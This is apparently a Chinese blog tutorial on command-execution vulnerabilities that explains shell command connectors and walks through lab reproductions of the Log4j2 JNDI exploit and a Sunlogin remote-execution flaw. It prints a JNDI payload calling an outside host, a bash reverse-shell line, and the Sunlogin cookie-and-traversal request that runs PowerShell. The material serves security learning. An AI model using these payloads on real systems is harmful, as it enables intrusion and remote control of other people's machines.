• 命令执行漏洞超详细讲解


    💕💕💕 博主昵称:摆烂阳💕💕💕

    🥰博主主页跳转链接
    👩‍💻博主研究方向:web渗透测试 、python编程
    📃 博主寄语:希望本篇文章能给大家带来帮助,有不足的地方,希望友友们给予指导

    ————————————————
    在这里插入图片描述

    一、原理

    应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecshell_execpassthrupopenproc_popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    在这里插入图片描述

    二、利用条件

    1、应用调用执行系统命令的函数

    2、将用户输入作为系统命令的参数拼接到了命令行中

    3、没有对用户输入进行过滤或过滤不严

    三、漏洞分类

    1、远程命令执行漏洞

    概念:

    远程命令执行漏洞,指用户通过浏览器提交执行操作命令, 由于服务器端,没有针对执行函数做过滤,就执行了恶意命令

    2、远程代码执行漏洞

    概念:

    代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码

    四、认识命令连接符

    1、window层面

    &

    无论左边是false还是true,右边都执行,按顺序执行

    &&:

    具有短路效果,左边是false,右边不执行

    |

    表示A命令语句的输出,作为B命令语句的输入执行。当A为false的时候将不会执行

    ||

    A||B,表示A命令语句执行失败,然后才执行B命令语句。

    2、linux层面

    &

    在后台运行

    ;:

    分号(;) 可以进行多条命令的无关联执行,每一条执行结果不会影响其他命令的执行

    &&

    按照顺序执行,如果前面应该正确就会执行下一个,如果错误那么就不会执行下一个

    ||

    如果 || 左边的命令执行失败(返回1表示失败),才执行||右边的命令,否则不执行右边的命令,具有短路功能。

    ()

    如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起

    五、漏洞的产生原因

    1、代码层过滤不严

    商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:system(“/bin/program --arg $arg”);

    2、系统的漏洞造成命令注入

    比如:bash破壳漏洞(CVE-2014-6271)

    3、调用的第三方组件存在代码执行漏洞

    如wordPress中用来处理图片的imageMagick组件

    JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

    ThinkPHP命令执行

    六、漏洞的危害

    1、继承Web服务程序的权限去执行系统命令或读写文件

    2、反弹shell

    3、控制整个网站甚至服务器

    4、进一步内网渗透

    七、漏洞复现

    1、log4j命令执行

    1.1 开启docker服务

     Service docker start
    
    • 1

    在这里插入图片描述

    1.2 拖出并开启靶场

    拖出的命令:

    docker pull vulfocus/log4j2-rce-2021-12-09

    启动的命令:

    docker run -tid -p 3456:8080 vulfocus/log4j2-rce-2021-12-09

    在这里插入图片描述

    1.3 关闭防火墙并访问靶场

    关闭防火墙:service firewalld stop
    访问靶场:ip:3456

    在这里插入图片描述

    1.4 将poc插入目标url栏上并进行编码

    poc:

    ${jndi:ldap://2lnhn2.ceye.io}
    
    • 1

    1…5:设置poc

    bash -i >& /dev/tcp/ip/6666 0>&1

    在这里插入图片描述

    1.6 生成链接

    Java -jar 文件名 -C “需要输出的信息” -A “ip”

    将圈中的内容复制到目标url上已经构造好的函数中并进行编码
    在这里插入图片描述

    在这里插入图片描述

    1.7 kali开启监听

    在这里插入图片描述

    此时成功获取了shell

    2、向日葵命令执行

    1. 向日葵的版本是<=11.0.0.33版本的,

    2. 打开向日葵,需要连接服务器成功

    在这里插入图片描述

    3. 打开之后会自动开启一个40000-60000之间随机的端口,此时使用kali的nmap进行探测

    在这里插入图片描述

    在这里插入图片描述

    此时扫出来49408、49409、49410、49411、49413、49414、49415、49492这八个端口

    4、探测向日葵的端口

    在浏览器中访问目标的ip:以上端口,访问向日葵的端口时,会报出以下页面

    在这里插入图片描述

    此时确定端口为49492

    5、获取cookie值

    poc:

    目标IP:端口/cgi-bin/rpc?action=verify-haras
    在这里插入图片描述
    成功获取cookie

    6、拿到CID-添加payload和cookie-发送http://ip/check?cmd=ping…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami
    在这里插入图片描述

    实操成功

    本章小结

    本文是本人以前笔记,博主主页跳转链接如果有哪里不对的话欢迎各位大佬指出问题,本人也是初学python,希望可以和各位朋友一起学习进步。

    点击跳转到博主python专栏:
    如果有喜欢web安全的朋友,请在web渗透专栏中进行查看,点击跳转到博主web渗透专栏

  • 相关阅读:
    如何利用google的protobuf设计、实现自己的RPC框架
    Linux操作系统 实现一个进程管理子系统
    基于51单片机的水塔水位检测自动加水Proteus仿真
    【JavaWeb】之Cookie & Session
    CPU也能速刷AlphaFold2?英特尔:请收下这份23倍通量优化指南
    随笔:想写一本数据结构的书
    VoLTE端到端业务详解 | 典型话务模型
    前端实现SuperMap iServer服务增(发布)删改查和刷新的方法.md
    noetic 怎么下载robotiq_modbus_tcp 从而使用robotiq二指夹爪
    国产AI绘画海克斯科技——爱作画AIGC开放平台
  • 原文地址:https://blog.csdn.net/qinshuoyang1/article/details/126444307